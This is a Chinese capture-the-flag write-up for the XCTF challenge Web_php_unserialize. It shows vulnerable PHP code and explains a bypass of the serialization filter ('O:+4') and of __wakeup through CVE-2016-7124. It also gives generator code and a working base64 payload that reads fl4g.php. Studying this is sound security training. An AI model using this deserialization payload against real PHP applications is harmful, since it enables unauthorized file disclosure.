攻防世界-Web-Web_php_unserialize

0x01

打开题目看到PHP源码如下:

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

后端对用户的输入做了以下处理:

  • 对提交的var值进行base64解码
  • 对解码后的字符串做一个正则匹配,如果其中包含了[oc]:\d+:,即类似o:4:之类的字符串,就会被阻止
  • 通过了上一条过滤就要进入__wakeup()函数,检查file字段内容

0x02

接下来分析绕过思路:

  • base64容易解决,对payload进行一次编码即可
  • 由于正则匹配的是:后面紧跟数字,那么我们可以用添加正好的方式来绕过,即构造O:+4
  • 利用CVE-2016-7124绕过__wakeup()的执行

下面通过在本地写一段PHP来生成payload:


class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("test.php"); 
} 

$a = new Demo("fl4g.php");
$s = serialize($a);

$s = str_replace("O:4", "O:+4", $s);
$s = str_replace(":1:", ":2:", $s);
echo base64_encode($s);
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
?>

0x03

提交
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
获得flag

你可能感兴趣的:(WriteUp,安全)